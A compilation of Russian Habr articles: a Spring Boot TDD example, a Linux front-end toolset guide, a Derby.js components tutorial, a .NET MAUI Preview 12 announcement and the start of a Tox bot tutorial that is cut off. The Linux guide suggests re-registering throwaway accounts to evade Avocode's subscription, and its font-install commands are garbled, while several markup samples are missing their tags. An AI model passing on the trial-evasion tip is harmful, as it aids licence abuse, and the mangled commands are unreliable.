> В идеале, user story должны быть написаны так, чтобы их можно было просто скопировать в BDD спецификацию и запустить. Это далеко не всегда просто и не всегда возможно, но это должно быть целью product owner-a и всей команды, пусть и не всегда достижимой.
Итак, моя первая фича.
```
Feature: Welcome page
Scenario: a user visiting the web-site visit before the launch date
Given a new user, Alice
When she visits Cake Factory web-site
Then she sees a message 'Thank you for your interest'
And she sees a message 'The web-site is coming in December!'
```
Если сгененрировать описания шагов (очень помогает [плагин Intellij IDEA](https://plugins.jetbrains.com/plugin/9164-gherkin) для поддержки Gherkin) и запустить тест, то он, разумеется, будет зеленым — он пока ничего не тестирует. И здесь наступает важная фаза работы над тестом — *нужно написать тест, как будто основной код написан*.
Часто у тех, кто начинает осванивать TDD здесь наступает ступор — сложно уложить в голове алгоритмы и логику чего-то, что еще не существует. И поэтому очень важно иметь как можно *более маленькие и сфокусированные итерации*, начиная от user-story и спускаясь на интеграционный и юнит-уровень. Важно фокусироваться **на одном тесте за раз** и стараться мокать и игнорировать зависимости, которые пока не важны. Я иногда замечал, как люди легко уходят в сторону — создают интерфейс или класс для зависимости, тут же генерят для него пустой тестовый класс, там добавляется еще одна зависимость, создается еще один интерфейс и так далее.
> Если story будет "надо бы при сейве рефрешить статус" ее очень сложно автоматизировать и формализовать. В моем же примере, каждый шаг четко можно уложить в последовательность шагов, которые можно описать кодом. Понятно, что это самый простой пример и он мало что демонстрирует, но надеюсь что дальше, с возрастанием сложности, будет интереснее.
Red
---
Итак, для мой первой фичи я создал следующие описания шагов:
```
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
public class WelcomePage {
private WebClient webClient;
private HtmlPage page;
@LocalServerPort
private int port;
private String baseUrl;
@Before
public void setUp() {
webClient = new WebClient();
baseUrl = "http://localhost:" + port;
}
@Given("a new user, Alice")
public void aNewUser() {
// nothing here, every user is new by default
}
@When("she visits Cake Factory web-site")
public void sheVisitsCakeFactoryWebSite() throws IOException {
page = webClient.getPage(baseUrl);
}
@Then("she sees a message {string}")
public void sheSeesAMessageThanksForYourInterest(String expectedMessage) {
assertThat(page.getBody().asText()).contains(expectedMessage);
}
}
```
Пара моментов, на которые следует обратить внимание:
* запуск фичей выполняется другим файлом, `Features.java` используя `RunWith` аннотацию из JUnit 4, Cucumber не поддерживает версию 5, увы
* `@SpringBootTest` аннотация добавлена на описание шагов, ее оттуда подхватывает `cucumber-spring` и конфигурирует тестовый контекст (т.е. запускает приложение)
* Spring приложение для теста запускается с `webEnvironment = RANDOM_PORT` и этот случайный порт передается в тест используя `@LocalServerPort`, Spring найдет эту аннотацию и установит значение поля в порт сервера
И тест, ожидаемо, падает с ошибкой `404 for http://localhost:51517`.
> Ошибки, с которыми падает тест, невероятно важны, особенно когда речь идет о юнит или интеграционных тестах и эти ошибки — часть API. Если тест падает с `NullPointerException` это не слишком хорошо, а вот `BaseUrl configuration property is not set` — гораздо лучше.
Green
-----
Чтобы сделать тест зеленым я добавил базовый контроллер и view с минимальным HTML:
```
@Controller
public class IndexController {
@GetMapping
public String index() {
return "index";
}
}
```
```
Cake Factory
Thank you for your interest
===========================
The web-site is coming in December!
-----------------------------------
```
Тест зеленый, приложение работает, хоть и выполнено в традицих сурового инженерного дизайна.
> На реальном проекте и в [сбалансированной команде](https://builttoadapt.io/use-balanced-teams-to-suck-less-at-software-a10b6ee8ff51) я бы, конечно, сел вместе с дизайнером и мы бы превратили голый HTML во что-то гораздо более прекрасное. Но в рамках статьи чуда не произойдет, царевна так и останется лягушкой.
Вопрос "какую часть в TDD занимает дизайн" не такой простой. Одна из практик, которую я нашел полезной — сначала вообще даже не смотреть на UI (даже не запускать приложение, чтобы сберечь нервы), написать тест, сделать его зеленым — и потом, имея стабильное основание, работать над фронт-ендом, постоянно перезапуская тесты.
Refactor
--------
В первой итерации никакого рефакторинга особо нет, но хотя я последние 10 минут потратил выбирая шаблон для [Bulma](https://bulma.io/), которые можно засчитать за рефакторинг!
В заключение
============
Пока в приложении нет ни работы с безопасностью, ни с БД, ни API — то тесты и TDD выглядят довольно просто. Да и в общем-то из пирамиды тестирования я затронул только самую верхушку, UI тест. Но в этом, отчасти, и секрет lean подхода — делать все небольшими итерациями, один компонент за раз. Это помогает фокусироваться на тестах, делать их простыми, и контролировать качество кода. Надеюсь, что в следующих статьях будет больше интересного.
Ссылки
======
* Проект на [GitHub](https://github.com/alek-sys/cake-factory)
* [Concourse CI](https://ci.alexnesterov.com/teams/main/pipelines/cake-factory)
*P.S. Название статьи не такое безумное, как может показаться в начале, думаю многие уже догадались. "How to build a pyramid in your boot" отсылка к пирамиде тестирования (расскажу про нее дальше) и Spring Boot, где boot в британском английском значит еще и "багажник".* | https://habr.com/ru/post/431306/ | null | ru | null |
# Жизнь верстальщика в Linux
Большинство fronted-разработчиков, используют ОС Windows или OS X в связи с отсутствием полноценного Photoshop. Но как быть тем, кто неравнодушен к Nix системам? Сейчас и попробуем выяснить, интересующихся прошу под кат.
В качестве системы я использую Fedora 22, проделать тоже самое в любой другой системе вам никто не мешает.
**Среда разработки**
О вкусах не спорят, каждый использует ту среду, в которой удобнее. На Windows я использовал Notepad++, на OS X Coda2, на Fedora я предпочитаю Geany.
Для установки:
```
sudo dnf install geany geany-plugins-common geany-themes
```
Частенько приходится работать с файлами непосредственно на сервере, можно использовать сторонний ftp-клиент или же подключатся непосредственно через nautilus.
В notepad++ или же coda2 мне нравился встроенный ftp-менеджер, немного погуглил я нашел идентичный плагин и для geany. Плагин копирует функционал с notepad++
1) Устанавливаем необходимые пакеты для сборки плагина:
```
sudo dnf install gcc geany-devel libxml2-devel libcurl-devel openssl-devel
```
2) [Скачиваем и распаковываем в удобную папку](https://github.com/caiguanhao/gFTP),
3) Переходим в папку cd
4) Собираем
```
make && make install && make clean
```
После этого нужно активировать плагин в настройках Geany.
Этот плагин удобен тем, что поддерживают работу с профилями. Плагины под Brackets или тот же Sublime такого не умеют.
*К сожалению, плагин не работает в Geany под Ubuntu 14.04, 15.04 (в других системах не пробовал), с чем связано не знаю. Я связался с автором плагина, он сообщил, что разработка плагина заморожена, и вряд ли автор перепишет его под новые системы. Если кто-то из хабрасообщества починит плагин, буду весьма рад.*
**Нарезка макетов**
Для нарезки макетов, мы будем использовать кроссплатформенную программу Avocode, она отлично справляется с psd и sketch макетами и позволяет вести командую работу. В плане скорости, программа уходит далеко от adobe extract, попробуйте и вы полюбите avocode.
Скачать программу можно [здесь](http://avocode.com/download/?platform=linux).
Программа не только позволяет нарезать макеты, но и ускоряет время разработки, более подробно можно [почитать здесь](http://habrahabr.ru/post/231381/). У программы имеется триал в 14 дней. Дальше требуется подписка ценой от 9$, не так уж и много с учетом того, сколько времени экономит данная программа. Но и никто же не мешает вам регистрировать одноразовый аккаунт раз в две недели?
Также пользователь [xenongattz](https://habrahabr.ru/users/xenongattz/) записал прекрасный мини-курс о данной программе. Рекомендую к ознакомлению.
**Видео**
Дополнительно для мелкой обработки изображений, установим gimp и pinta:
```
sudo dnf install gimp gimp-elsamuko gimp-data-extras pinta
```
Если вам этого мало, то можно установить [Photoshop в виртуальную машину](http://habrahabr.ru/post/194546/). В моем случае, этого не требуется, потому информация для собственного изучения.
**FTP-клиент**
Есть два варианта работы с FTP:
1) Созданием ftp-соединения в nautilus, информацию как подключиться, легко найдете в сети.
2) Использование стороннего ftp-клиента.
Я предпочитаю FileZilla:
```
sudo dnf install filezilla
```
**Шрифты**
Большинство сайтов, используют шрифты используемые в Windows по умолчанию. Для установки, [скачайте rpm здесь](https://downloads.sourceforge.net/project/mscorefonts2/rpms/msttcore-fonts-installer-2.6-1.noarch.rpm)
В данном пакете отсутствует tahoma, доставить ее можно так:
```
cd ~w get http://www.stchman.com/tools/MS_fonts/tahoma.zip
sudo unzip -d /usr/share/fonts/truetype/msttcorefonts ~/tahoma.zip
sudo fc-cache -f -vrm -f ~/tahoma.zip
```
**Тестирование в браузерах**
Firefox (по умолчанию предустановлен):
```
dnf install firefox
```
Chromium:
```
sudo su
cd /etc/yum.repos.d/
wget http://copr.fedoraproject.org/coprs/churchyard/chromium-russianfedora/repo/fedora-22/churchyard-chromium-russianfedora-fedora-22.repo
sudo dnf install chromium
```
IE:
Варианты:
1) Wine или Crossover с IE
2) <https://www.browserstack.com/>
3) VirtualBox + IEtester
Для установки VirtualBox(или [скачать здесь](https://www.virtualbox.org/wiki/Downloads)):
```
sudo su
dnf update
```
Если, что то обновилось перезагружаемся:
```
cd /etc/yum.repos.d/
wget http://download.virtualbox.org/virtualbox/rpm/fedora/virtualbox.repo
dnf install binutils gcc make patch libgomp glibc-headers glibc-devel kernel-headers kernel-devel dkms
dnf install VirtualBox-5.0
//Добавление пользователя в группу
usermod -a -G vboxusers username
```
*username — необходимо изменить на имя пользователя в системе*
После этого устанавливаем ОС от Microsoft и [IEtester](http://www.my-debugbar.com/wiki/IETester/HomePage) в которой будем вести тесты. [Или же можно взять готовую виртуальную машину здесь](https://dev.modern.ie/tools/vms/linux/).
На этой пожалуй все. Как видите, верстать — и вполне успешно — можно и на Linux системах. | https://habr.com/ru/post/268719/ | null | ru | null |
# Введение в компоненты derby 0.6
Продолжаю серию ([раз](http://habrahabr.ru/post/221027/), [два](http://habrahabr.ru/post/221703/), [три](http://habrahabr.ru/post/222399/), [четыре](http://habrahabr.ru/post/224031/)) постов по реактивному фуллстек javascript фреймворку [derbyjs](http://derbyjs.com/). На этот раз речь зайдет о компонентах (некий аналог директив в ангуляре) — отличному способу иерархического построения интерфеса, и разбиения приложения на модули.
#### Общая информация о компонентах
Компонентами в дерби 0.6 называются derby-шаблоны, вынесенные в отдельную область видимости. Давайте разбираться. Допустим, у нас есть такой view-файл (я для демонстрации выбрал все тот же Todo-list — список дел из TodoMVC):
index.html
```
Todos:
======
Add Todo
```
И Body: и new-todo: здесь шаблоны, как сделать new-todo компонентом? Для этого нужно в дерби-приложении его зарегистрировать:
```
app.component('new-todo', function(){});
```
То есть сопоставить шаблону некую функцию, которая будет отвечать за него. Проще некуда (хотя пример пока еще полностью бесполезен). Но что это за функция? Как известно функции в javascript могут задавать класс. Методы класса помещаются в прототип, это здесь и используется.
Чуть развернем пример — привяжем input к реактивной переменной и создадим обработчик события on-submit. Сначала посмотрим как это было бы, если бы у нас не было компонент:
```
Add Todo
```
```
app.proto.addNewTodo = function(){
//...
}
```
Какие здесь недостатки:
1. Засоряется глобальная область видимости (\_page)
2. Функция addNewTodo добавляется к app.proto — в большом приложении здесь будет лапша.
Как будет если сделать new-todo компонентом:
```
Add Todo
```
```
app.component('new-todo', NewTodo);
function NewTodo(){}
NewTodo.prototype.addNewTodo = function(todo){
// Обратите внимание модель здесь "scoped"
// она не видит глобальных коллекций, только локальные
var todo = this.model.get('todo');
//...
}
```
Так, что поменялось? Во-первых внутри шаблона new-todo: теперь своя область видимости, здесь не видны \_page и все другие глобальные коллекции. И, наоборот, путь todo здесь локальный, в глобальной области видимости он не доступен. Инакапсуляция — это здорово. Во-вторых функция-обработчик addNewTodo теперь тоже находится внутри класса NewTodo не засоряя app своими подробностями.
Итак, derby-компоненты — это ui-элементы, предназначение которых в сокрытии внутренних подробностей работы определенного визуального блока. Здесь стоит отметить то, и это важно, что компоненты не предполагают загрузку данных. Данные должны быть загружены еще на уровне контроллера, обрабатывающего url.
Если компоненты предназначены для сокрытия внутренней кухни, какой же они имеют интерфейс? Как в них передаются параметры и получаются результаты?
Параметры передаются так же как и в обычный шаблон через атрибуты и в виде вложенного html-контента (об этом чуть позже). Результаты возвращаются при помощи событий.
Небольшая демонстрация на нашем примере. Передадим в наш компонент new-todo класс и placeholder для поля ввода, а введенное значение будем получать через событие:
index.html
```
Todos:
======
Add Todo
```
```
app.component('new-todo', NewTodo);
app.component('todos-list:', TodosList);
function NewTodo(){}
NewTodo.prototype.addNewTodo = function(todo){
var todo = this.model.get('todo');
// создаем событие, которое будет доступно снаружи
// (в месте вызова компонента)
this.emit('addtodo', todo);
}
function TodosList(){};
TodosList.prototype.add = function(todo){
// Вот так событие попало из одного компонента
// в другой. Все правильно, именно компонент
// отвечающий за список и будет заниматься
// добавлением нового элемента
}
```
Давайте все это обсудим и посмотрим, чего добились.
Наш компонент new-todo теперь принимает 2 параметра: placeholder и inputClass и возвращает событие «addtodo», это событие мы перенаправляем компоненту todos-list, там его обрабатывает TodosList.prototype.add. Обратите внимание, создавая экземпляр компонента todos-list мы назначили ему алиас list, используя ключевое слово as. Именно поэтому в обработчике on-addtodo мы смогли прописать list.add().
Таким образом new-todo полностью изолирован и никак не работает с внешней моделью, с другой стороны компонент todos-list полностью отвечает за список todos. Обязанности строго разделены.
Теперь стоит более подробно остановиться на параметрах, передаваемых компоненту.
#### Интерфейс компонент
Необходимо отметить, что передача параметров в компоненты досталась им по наследству от шаблонов, поэтому большая часть функционал аналогична (если не сказано иное, примеры я буду приводить на шаблонах).
Отметим, что шаблоны (как и компоненты) в html файлах derby подобны функциям, у них есть декларация, где описан сам шаблон. А так же есть (возможно многократный) вызов данного шаблона из других шаблонов.
##### # Синтаксис декларации шаблона (компонента) и что такое [content](https://habrahabr.ru/users/content/)
```
```
Атрибуты element, attributes и array являются необязательными. Что они обозначают? Рассмотрим на примерах:
###### Атрибут element
По умолчанию декларация и вызов шаблона выглядят как-то так:
(Пока не обр)
```
- [{{@caption}}]({{@href}})
```
Делать так не всегда удобно. Иногда хотелось бы вызвать шаблон не через тег view с соответствующим именем, а прозрачно, используя имя шаблона в качестве имени тега. Для этого и нужен атрибут element.
```
- [{{@caption}}]({{@href}})
```
А можно даже так
```
```
В таком варианте, мы не используем закрывающуюся часть тега, так как содержимое тега у нас отсутствует. А что это такое?
###### Неявный параметр content
При вызове шаблона мы используем тег view, либо тег именованный атрибутом element примерно так:
```
- [{{@caption}}]({{@href}})
```
Оказывается, при вызове, между открывающейся и закрывающейся частью тега можно разместить какое-либо содержимое, например, текст или же какой-то вложенный html. Он будет передан внутрь шаблона неявным параметром [content](https://habrahabr.ru/users/content/). Давайте в нашем примере заменим caption, используя [content](https://habrahabr.ru/users/content/):
```
Home
Home
Home
- [{{@content}}]({{@href}})
```
Это очень удобно, позволяет скрывать подробности и значительно упрощать код верхнего уровня.
Атрибуты attributes и arrays имеют к этому непосредственное отношение.
###### Атрибут attributes
Можно представить себе задачи, когда блок html-кода, передаваемого в шаблон, внутри шаблона не должен единым блоком быть вставлен в определенное место. Допустим, есть какой-то виджет, имеющий header, footer и основной контент. Вызов его мог бы быть каким-то таким:
```
<-- содержимое -->
<-- содержимое -->
<-- содержимое -->
```
А внутри шаблона widget будет какая-то сложная разметка, куда мы должны иметь возможность по отдельности вставить все эти 3 блока, в виде [header](https://habrahabr.ru/users/header/), [footer](https://habrahabr.ru/users/footer/) и [body](https://habrahabr.ru/users/body/)
Для этого и нужен attributes:
```
{{@header}}
{{@body}}
{{@footer}}
```
Кстати, вместо body, вполне можно было бы использовать content, ведь все, что не перечислено в attributes (ну и, на самом деле, еще в arrays) попадает в content:
```
Hello
<-- содержимое -->
<-- содержимое -->
text
===================================================
{{@header}}
{{@content}}
{{@footer}}
```
Здесь есть одно ограничение, все что мы перечислили в attributes должно встречаться во внутреннем блоке (вставляемом в шаблон) всего один раз. А что делать, если нам нужно больше? Если мы хотим, например, сделать свою реализацию выпадающего списка и элементов списка может быть много?
###### Атрибут arrays
Делаем свой выпадающий список, нам хочется, чтобы получившийся шаблон принимал аргументы примерно так:
```
первый
второй
третий
```
Разметка внутри dropdown будет довольно сложной, значит просто content нам не подойдет. Так же не подойдет attributes, потому что там есть ограничение — элемент option может быть только один. Для нашего случая идеальным будет использование аттрибута шаблона arrays:
```
{{each @options}}
- {{this.content}}
{{}}
```
Как вы, наверное, заметили при декларации шаблона задается 'arrays=«option/options»' — здесь два имени:
1. option — так будет называться html-элемент внутри dropdown-а при вызове
2. options — так будет называться массив с элементами внутри шаблона, сами элементы внутри этого массива будут представлены объектами, где все атрибуты option-а станут полями объекта, а его внутренне содержимое, станет полем content.
#### Программная часть компонент
Как мы уже говорили, шаблон превращается в компонент, если для него зарегистрирована функция-конструктор.
```
Add Todo
```
```
app.component('new-todo', NewTodo);
function NewTodo(){}
NewTodo.prototype.addNewTodo = function(todo){
var todo = this.model.get('todo');
//...
}
```
У компонента есть предопределенные функции, которые будут вызваны в некоторые моменты жизни компонента — это create и init, так же есть событие 'destroy'. Оно тоже довольно полезно.
##### # init
Функция init вызывается как на клиенте, так и на сервере, до рендеринга компонента. Ее назначение в том, чтобы инициализировать внутреннюю модель компонента, задать значения по-умолчанию, создать необходимые ссылки (ref).
```
// взято из https://github.com/codeparty/d-d3-barchart/blob/master/index.js
function BarChart() {}
BarChart.prototype.init = function() {
var model = this.model;
model.setNull("data", []);
model.setNull("width", 200);
model.setNull("height", 100);
// ...
};
```
##### # create
Вызывается только на клиенте после рендеринга компонента. Нужна для регистрации обработчиков событий, подключения к компоненту клиентских библиотек, подписок на изменение данных, запуска реактивных функций компонента и т.д.
```
BarChart.prototype.create = function() {
var model = this.model;
var that = this;
// changes in values inside the array
model.on("all", "data**", function() {
//console.log("event data:", arguments);
that.transform()
that.draw()
});
that.draw();
};
```
##### # событие 'destroy'
Вызывается в момент уничтожения компонента, нужна для завершающих действий: отключения вещей типа setInterval, отключения клиентских библиотек и т.д.
```
MyComponent.prototype.create = function(){
var intervalId = setIterval myFunc, 1000
this.on('destroy', function(){
clearInterval(intervalId);
});
}
```
#### Что доступно в this в обработчиках компонента?
Во всех обработчиках компонента в this доступны: model, app, dom (кроме init), все алиасы к dom-элементам, и компонентам, созданным внутри компонента, parent-ссылка на компонент-родитель, ну и понятное дело все что мы сами поместили в prototype функции-конструктора компонента.
Модель здесь с приведенной областью видимости. То-есть через this.model у компонента видна будет только модель самого компонента, если же вам необходимо обратиться к глобальной области видимости derby, используйте this.model.root, либо this.app.model.
C app все понятно, это экземпляр derby-приложения, через него много что можно сделать, например:
```
MyComponent.prototype.back = function(){
this.app.history.back();
}
```
Через dom можно навешивать обработчики на DOM-события (доступны функции on, once, removeListener), например:
```
// взято https://github.com/codeparty/d-bootstrap/blob/master/dropdown/index.js
Dropdown.prototype.create = function(model, dom) {
// Close on click outside of the dropdown
var dropdown = this;
dom.on('click', function(e) {
if (dropdown.toggleButton.contains(e.target)) return;
if (dropdown.menu.contains(e.target)) return;
model.set('open', false);
});
};
```
Чтобы полностью понять этот пример, нужно иметь ввиду, что this.toggleButton и this.menu — это алиасы для DOM-элементов, заданные в шаблоне через as:
Посмотрите здесь: [github.com/codeparty/d-bootstrap/blob/master/dropdown/index.html#L4-L11](https://github.com/codeparty/d-bootstrap/blob/master/dropdown/index.html#L4-L11)
Все функции dom: on, once, removeListeners могут принимать четыре параметра: type, [target], listener, [useCapture]. Target — элемент, на который навешивается(с которого снимается) обработчик, если target не указан, он равен document. Остальные 3 параметра аналогичны соответствующим параметрам обычной addEventListener(type, listener[, useCapture])
Алиасы на dom-элементы внутри шаблона задаются при помощи ключевого словa as:
```
```
```
MainMenu.prototype.hide = function(){
// Например так
$(this.menu).hide();
}
```
#### Вынос компонент из приложения в отдельный модуль
До этого мы рассматривали только компоненты, шаблоны которых уже были внутри каких-либо html-файлов приложения. Если же нужно (а обычно нужно) полностью отделить компонент от приложения делается следующее:
Для компонента создается отдельная папка, в нее кладутся js, html, сss файлы (с файлами стилей есть небольшая особенность), компонент регистрируется в приложении при помощи функции app.component в которую передается только один параметр — функция-конструктор. Как-то так:
app.component(require('../components/dropdown'));
Заметьте, раньше, когда шаблон компонента уже присутствовал в html-файлах приложения, регистрация была другой:
app.component('dropdown', Dropdown);
Давайте рассмотрим какой-нибудь пример:
tabs/index.js
```
module.exports = Tabs;
function Tabs() {}
Tabs.prototype.view = __dirname;
Tabs.prototype.init = function(model) {
model.setNull('selectedIndex', 0);
};
Tabs.prototype.select = function(index) {
this.model.set('selectedIndex', index);
};
```
tabs/index.html
```
{{each @panes as #pane, #i}}
* {{#pane.title}}
{{/each}}
{{each @panes as #pane, #i}}
{{#pane.content}}
{{/each}}
```
Стоит особое внимание обратить на строку:
```
Tabs.prototype.view = __dirname;
```
Отсюда derby возьмет имя компонента (оно же отсутствует в самом шаблоне, так как там используется 'index:'). Алгоритм простой — берется последний сегмент пути. Допустим \_dirname у нас сейчас равен '/home/zag2art/work/project/src/components/tabs', это значит что в других шаблонах к данному компоненту можно будет обратиться через 'tabs', например так:
```
Stuff'n
More stuff
```
Само же подключение данного компонента к приложению будет таким:
```
app.component(require('../components/tabs'));
```
Очень удобно оформлять компоненты в виде отельных модулей npm, например, [www.npmjs.org/package/d-d3-barchart](https://www.npmjs.org/package/d-d3-barchart) | https://habr.com/ru/post/224831/ | null | ru | null |
# Представляем .NET MAUI Preview 12
Сегодня мы выпускаем 12 превью-версию [.NET Multi-platform App UI](https://github.com/dotnet/maui) со многими улучшениями качества и некоторыми новыми возможностями. По мере того, как мы приближаемся к выпуску нашей первой стабильной версии, баланс работы начинает смещаться в сторону улучшения качества и стабильности, хотя есть еще и несколько интересных нововведений, на которые стоит обратить внимание, в том числе:
* [Новая документация](https://docs.microsoft.com/dotnet/maui/) по значкам приложений, жизненному циклу приложений, кистям, элементам управления и Single Project
* Обработчик FlyoutView реализован на Android
* Добавлены обработчики совместимости для RelativeLayout и AbsoluteLayout
* Добавлено свойство Z Index
* Унификация .NET 6 — типы iOS
* Расширенная панель инструментов Windows — без оболочки
В этом выпуске также представлено захватывающее усовершенствование [Shell](https://docs.microsoft.com/xamarin/xamarin-forms/app-fundamentals/shell/). Давайте более подробно рассмотрим Shell в Preview 12.
Навигация в .NET MAUI: фокус на оболочке
----------------------------------------
Shell — это шаблон приложения, который упрощает общий дизайн приложений, использующих всплывающие меню и вкладки. В вашей оболочке, обычно называемой AppShell в наших примерах, вы начинаете добавлять страницы своего приложения и упорядочивать их в нужной структуре навигации. Вот пример приложения [.NET Podcast](https://github.com/microsoft/dotnet-podcasts):
```
```
Навигация в контексте оболочки осуществляется с помощью маршрутизации на основе URI. На центральном изображении снимка экрана мы перешли к представлению сведений, которое не представлено в XAML выше. Для страниц, которые не должны быть видны, вы можете объявить маршруты для них в коде, а затем перейти к ним по URI. Вы можете увидеть это снова в коде приложения подкаста «App.xaml.cs»:
```
Routing.RegisterRoute(nameof(DiscoverPage), typeof(DiscoverPage));
Routing.RegisterRoute(nameof(ShowDetailPage), typeof(ShowDetailPage));
Routing.RegisterRoute(nameof(EpisodeDetailPage), typeof(EpisodeDetailPage));
Routing.RegisterRoute(nameof(CategoriesPage), typeof(CategoriesPage));
Routing.RegisterRoute(nameof(CategoryPage), typeof(CategoryPage));
```
Чтобы перейти с главного экрана к представлению сведений, когда пользователь касается изображения обложки, приложение выполняет команду в контексте привязки ShowViewModel:
```
private Task NavigateToDetailCommandExecute()
{
return Shell.Current.GoToAsync($"{nameof(ShowDetailPage)}?Id={Show.Id}");
}
```
> Из любого места в коде приложения вы можете получить доступ к Shell.Current для выполнения команд навигации, прослушивания событий навигации и многого другого.
>
>
Это также демонстрирует одну из мощных функций навигации в Shell: параметры запроса для передачи простых данных. В этом случае «Show.Id» передается вместе с маршрутом, а затем Shell применяет это значение к контексту привязки ShowDetailPage, делая его немедленно готовым к использованию. «QueryProperty» обрабатывает сопоставление параметра строки запроса с общедоступным свойством.
```
[QueryProperty(nameof(Id), nameof(Id))]
public class ShowDetailViewModel : BaseViewModel
{
public string Id { get; set; }
}
```
Оболочка и внедрение зависимостей
---------------------------------
Использование HostBuilder в .NET MAUI и мощное внедрение зависимостей было основным моментом предварительных версий. Один из самых популярных отзывов, которые мы получили о Shell, — это желание использовать внедрение конструктора, и в этом выпуске благодаря усилиям участника [Брайана Ранка](https://github.com/dotnet/maui/pull/3375) вы теперь можете его использовать!
Определите свои зависимости в контейнере DI, обычно в «MauiProgram.cs»:
```
public static class MauiProgram
{
public static MauiApp CreateMauiApp()
{
var builder = MauiApp.CreateBuilder();
builder
.UseMauiApp();
builder.Services
.AddSingleton();
return builder.Build();
}
}
```
Затем на странице, куда нужно ввести:
```
public partial class MainPage
{
readonly MainViewModel _viewModel;
public MainPage(MainViewModel viewModel)
{
InitializeComponent();
BindingContext = _viewModel = viewModel;
}
}
```
Shell предлагает множество возможностей для стилей и шаблонов, поэтому вы можете быстро удовлетворить большинство распространенных потребностей. Для получения более подробной информации ознакомьтесь с [документацией Shell](https://docs.microsoft.com/xamarin/xamarin-forms/app-fundamentals/shell/).
Начните работу сегодня!
-----------------------
Перед установкой Visual Studio 2022 Preview мы настоятельно рекомендуем начать с чистого листа, удалив все [предварительные версии .NET 6](https://docs.microsoft.com/dotnet/core/install/remove-runtime-sdk-versions?pivots=os-windows#uninstall-net) и [Visual Studio 2022](https://docs.microsoft.com/visualstudio/install/uninstall-visual-studio?view=vs-2022).
Теперь установите Visual Studio 2022 Preview (17.1 Preview 3) и убедитесь, что .NET MAUI (предварительная версия) отмечен в разделе «Мобильная разработка с рабочей нагрузкой .NET».
Готовый? Откройте Visual Studio 2022 и создайте новый проект. Найдите и выберите .NET MAUI.
Примечания к выпуску Preview 12 находятся на [GitHub](https://github.com/dotnet/maui/releases/tag/6.0.200-preview.12). Дополнительные сведения о начале работы с .NET MAUI см. в нашей [документации](https://docs.microsoft.com/dotnet/maui/get-started/installation). | https://habr.com/ru/post/646617/ | null | ru | null |
# Написание бота для мессенджера Tox
На фоне общей увлеченности созданием ботов для Telegram я бы хотел рассказать об API не очень широко известного мессенджера Tox и показать на примере простого echo-бота, как можно так же легко и быстро создавать собственных.
Введение
========
Ядро Tox ([toxcore на github](https://github.com/irungentoo/toxcore)) состоит из трех частей:
* **ToxCore** — собственно, само ядро, которое позволяет управлять контактами, сообщениями, файлами, аватарами, статусами и групповыми чатами.
* **ToxAV** — подсистема голосовых и видео вызовов.
* **ToxDNS** — подсистема получения ToxID из человеко-читаемого адреса (приблизительного аналога email или JabberID) через запрос к DNS.
Единицей контакта является **ToxID** (он же «address» в терминах API) — шестнадцатеричная строка длиной 76 символов, кодирующая:
* Публичный ключ (32 байта или 64 символа).
* Защиту от спама «nospam» (4 байта или 8 символов) — случайный набор данных, смена которого позволяет продолжать поддерживать авторизованные ранее контакты, но игнорировать запросы от новых.
* Контрольная сумма (2 байта или 4 символа) — операция XOR над публичным ключом и значением «nospam», служит для быстрой проверки корректности ToxID.
Общий цикл работы с Tox API можно представить последовательно в виде:
1. Инициализация ядра (**tox\_new**) — здесь производится установка протоколов (IPv4/IPv6, UDP/TCP), параметров прокси (HTTP/SOCKS5), диапазонов используемых портов и (при наличии) загрузка ранее сохраненного состояния со списком контактов.
2. Установка callback функций для обработки событий (**tox\_callback\_\***) — обработчики событий вызываются из основного цикла (4) и в них обычно сосредоточена основная логика работы приложения.
3. Подключение к одной и более DHT-нод (**tox\_bootstrap**).
4. Основной рабочий цикл (**tox\_iterate**) и обработка событий.
5. Пауза на время **tox\_iteration\_interval** и возврат к предыдущему шагу.
Т.к. основным способом получения знаний о работе Tox API является чтение исходного кода (написанного на си), для упрощения дальнейшего изложения я воспользуюсь оберткой для языка python ([pytoxcore на github](https://github.com/abbat/pytoxcore)). Для тех, кто не желает заниматься самостоятельной сборкой библиотеки из исходников, там же есть ссылки на готовые бинарные пакеты для распространенных дистрибутивов.
При использовании python-обертки получить справку по библиотеке можно следующим способом:
```
$ python
>>> from pytoxcore import ToxCore
>>> help(ToxCore)
class ToxCore(object)
| ToxCore object
...
| tox_add_tcp_relay(...)
| tox_add_tcp_relay(address, port, public_key)
| Adds additional host:port pair as TCP relay.
| This function can be used to initiate TCP connections to different ports on the same bootstrap node, or to add TCP relays without using them as bootstrap nodes.
|
| tox_bootstrap(...)
| tox_bootstrap(address, port, public_key)
| Sends a "get nodes" request to the given bootstrap node with IP, port, and public key to setup connections.
| This function will attempt to connect to the node using UDP. You must use this function even if Tox_Options.udp_enabled was set to false.
...
```
Ниже остановимся на каждом шаге работы с API чуть более подробно.
Инициализация ядра
==================
Для инициализации ядра в качестве параметра используется структура **Tox\_Options**. В python это может быть словарь с одноименными полями. Значения по умолчанию можно получить при помощи вызова метода **tox\_options\_default**:
```
$ python
>>> from pytoxcore import ToxCore
>>> ToxCore.tox_options_default()
{'start_port': 0L, 'proxy_host': None, 'tcp_port': 0L, 'end_port': 0L, 'udp_enabled': True, 'savedata_data': None, 'proxy_port': 0L, 'ipv6_enabled': True, 'proxy_type': 0L}
```
Здесь:
* **ipv6\_enabled** — True или False в зависимости от того, являетесь ли вы счастливым обладателем IPv6.
* **udp\_enabled** — за исключением случаев работы через прокси рекомендуется устанавливать в значение True, т.к. UDP является «родным» протоколом для Tox.
* **proxy\_type** — тип прокси, может принимать значения:
+ **TOX\_PROXY\_TYPE\_NONE** — не использовать прокси.
+ **TOX\_PROXY\_TYPE\_HTTP** — HTTP прокси.
+ **TOX\_PROXY\_TYPE\_SOCKS5** — SOCKS5 прокси (например, Tor).
* **proxy\_host** — хост или IP адрес прокси-сервера.
* **proxy\_port** — порт прокси-сервера (игнорируется для TOX\_PROXY\_TYPE\_NONE).
* **start\_port** — начальный порт из диапазона разрешенных портов.
* **end\_port** — конечный порт из диапазона разрешенных портов. Если начальный и конечный порты равны 0, то используется диапазон [33445, 33545]. Если только один из портов равен нулю, то используется единственный ненулевой порт. В случае start\_port > end\_port, они будут поменяны местами.
* **tcp\_port** — порт для поднятия TCP-сервера (релея), при значении 0 сервер будет отключен. TCP релей позволяет другим пользователям использовать ваш экземпляр как промежуточный узел (концепция super-node).
* **savedata\_data** — данные для загрузки или None в случае их отсутствия.
В подавляющем большинстве случаев, все параметры за исключением **savedata\_data** можно оставить по умолчанию:
```
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import os
from pytoxcore import ToxCore
class EchoBot(ToxCore):
